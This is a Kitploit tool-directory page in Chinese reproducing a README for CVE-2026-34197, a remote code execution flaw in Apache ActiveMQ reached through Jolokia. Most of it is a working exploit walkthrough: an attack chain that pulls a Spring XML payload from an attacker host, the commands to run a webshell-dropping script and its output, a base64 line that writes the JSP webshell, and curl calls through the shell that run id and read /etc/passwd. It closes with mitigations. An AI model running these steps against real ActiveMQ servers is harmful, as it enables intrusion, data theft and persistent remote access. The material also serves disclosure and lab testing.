Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-34197 — Apache ActiveMQ 通过 Jolokia 的远程代码执行漏洞分析与复现笔记 | Kitploit
工具/GitHubGitHub/asdasddqwdq29-a11y/cve-2026-34197
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubasdasddqwdq29-a11y/cve-2026-34197

CVE-2026-34197

Apache ActiveMQ 通过 Jolokia 的远程代码执行漏洞分析与复现笔记

查看仓库
153个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-34197 - Apache ActiveMQ 通过 Jolokia 的远程代码执行

1. 概述

项目详情
CVE IDCVE-2026-34197
CVSS 评分8.8(高危)
漏洞类型远程代码执行(RCE)
CWECWE-20 输入验证不当 / CWE-94 代码注入
受影响组件Apache ActiveMQ Classic - Jolokia JMX-HTTP 桥接
受影响版本< 5.19.4 以及 6.0.0 至 6.2.2
修复版本5.19.4 / 6.2.3
披露日期2026-04-07
认证默认需要认证,常见为 admin:admin。6.0.0-6.1.1 版本在与 CVE-2024-32114 联用时可能无需认证即可访问。
发现由 Anthropic Claude 报告为 AI 辅助研究,在存在约 13 年后发现。

2. 根因

2.1 攻击链

Attacker
  |
  |-- 1. POST /api/jolokia/
  |      Invoke BrokerService.addNetworkConnector(String)
  |      Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
  |
  v
ActiveMQ Broker
  |
  |-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
  |      brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
  |
  |-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
  |
  |-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
  |      The init-method="start" command runs before configuration validation blocks the URI.
  |
  `-- 5. Remote code execution is reached.

2.2 关键条件

  1. Jolokia API 暴露 - ActiveMQ Web 控制台暴露 /api/jolokia/,提供 JMX-over-HTTP 访问。
  2. 过宽的 MBean 允许列表 - CVE-2022-41678 修复引入的允许列表允许广泛的 org.apache.activemq:* 操作,包括 addNetworkConnector。
  3. VM 传输远程配置 - vm:// 传输的 brokerConfig 参数可以指向远程 Spring XML,并且在配置被拒绝之前 Bean 实例化就已经发生。

2.3 修复行为

ActiveMQ 6.2.3 在 addNetworkConnector() 中增加了验证,拒绝 vm:// 传输 URI:

"error": "VM scheme is not allowed"

3. 复现

3.1 环境

项目详情
攻击者主机macOS 及 OrbStack Docker
目标镜像alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8(ActiveMQ 6.2.1)
运行用户amq (uid=33031)
基础操作系统Rocky Linux 8.9

3.2 步骤

步骤 1:启动实验环境

cd upstream-poc
docker compose up -d

步骤 2:验证 Jolokia API

curl -u admin:admin -H "Origin: http://localhost:8161" \
  http://localhost:8161/api/jolokia/

返回 status: 200 表示 Jolokia 可访问。

步骤 3:运行利用程序并写入 webshell

python3 exploit_webshell.py \
  -t http://localhost:8161 \
  --lhost <YOUR_IP> \
  --lport 9999

该脚本执行以下操作:

  1. 检查 Jolokia API。
  2. 发现 broker 名称。
  3. 移除名为 NC 的现有 NetworkConnector,以使重复测试可靠。
  4. 启动一个本地 HTTP 服务器,提供恶意的 Spring XML 载荷。JSP webshell 以 base64 嵌入,因此目标只需获取一次 XML。
  5. 发送 addNetworkConnector 请求以触发漏洞代码路径。
  6. 验证 webshell 写入成功。

步骤 4:使用 webshell

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"

3.3 示例输出

===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
  Target fetches one XML payload; JSP is written from inline base64
===============================================================

[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================

4. 版本对比

版本镜像Jolokia 响应远程代码执行
5.18.6apache/activemq-classic:5.18.6status: 200, value: NC成功,以 uid=0(root) 运行
6.2.1alfresco/alfresco-activemq:6.2.1status: 200, value: NC成功,以 uid=33031(amq) 运行
6.2.3alfresco/alfresco-activemq:6.2error: VM scheme is not allowed已修复

5. 利用说明与限制

5.1 重复利用

addNetworkConnector() 注册一个名为 NC 的连接器。第二次注册会因 JMX 命名冲突而失败,返回 500 错误。该脚本通过在触发利用前调用 removeNetworkConnector("NC") 来处理此问题。

5.2 Webshell 写入

ActiveMQ 使用嵌入式 Jetty,但 webapps 目录存在于磁盘上,且 JSP 引擎会编译新写入的 .jsp 文件。这使得在测试环境中写入 webshell 成为可能。

该载荷使用内联 base64 写入 JSP:

echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp

优点:

  • 避免了 JSP 特殊字符(如 <、>、% 和 ")导致的 XML 解析问题。
  • 避免了目标发起第二次出站请求以下载 JSP。目标仅获取 XML 载荷。

5.3 出站网络要求

目标必须能够访问攻击者控制的 HTTP 服务器以获取 Spring XML 载荷。如果目标没有到攻击者的出站路由,则此利用路径无法完成。

5.4 Jolokia Origin 检查

直接的 Jolokia 请求可能因 CORS 检查而返回 403。应包含与目标匹配的 Origin 标头:

Origin: http://TARGET:8161

6. 文件

CVE-2026-34197/
|-- README.md                    # This report
|-- exploit_webshell.py          # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/                # File copy from dinosn/CVE-2026-34197
    |-- docker-compose.yml       # Lab environment for ActiveMQ 6.2.1
    |-- exploit_poc.py           # Original PoC script with serve/exploit/auto modes
    `-- serve_payload.py         # Simple payload HTTP server

脚本对比

脚本用途出站要求Webshell
exploit_poc.py原始盲 RCE PoC,运行任意命令必需无
exploit_webshell.py通过写入的 JSP webshell 进行一次性反射型 RCE仅在获取 XML 时需要自动写入,随机文件名

7. 缓解措施

  1. 升级 - 升级到 ActiveMQ Classic 5.19.4+ 或 6.2.3+。
  2. 限制 Jolokia 访问 - 通过防火墙规则或网络策略限制对端口 8161 的访问。
  3. 禁用 Jolokia - 如果不需要远程 JMX 管理,在 jetty.xml 中禁用 Jolokia API。
  4. 更改默认凭据 - 替换默认的 admin:admin 凭据。
  5. 限制出站访问 - 防止 ActiveMQ 访问不可信的外部 HTTP 资源。

8. 参考

  • Horizon3.ai 披露:https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Apache 安全公告:https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • 原始 PoC 仓库:https://github.com/dinosn/CVE-2026-34197
下载工具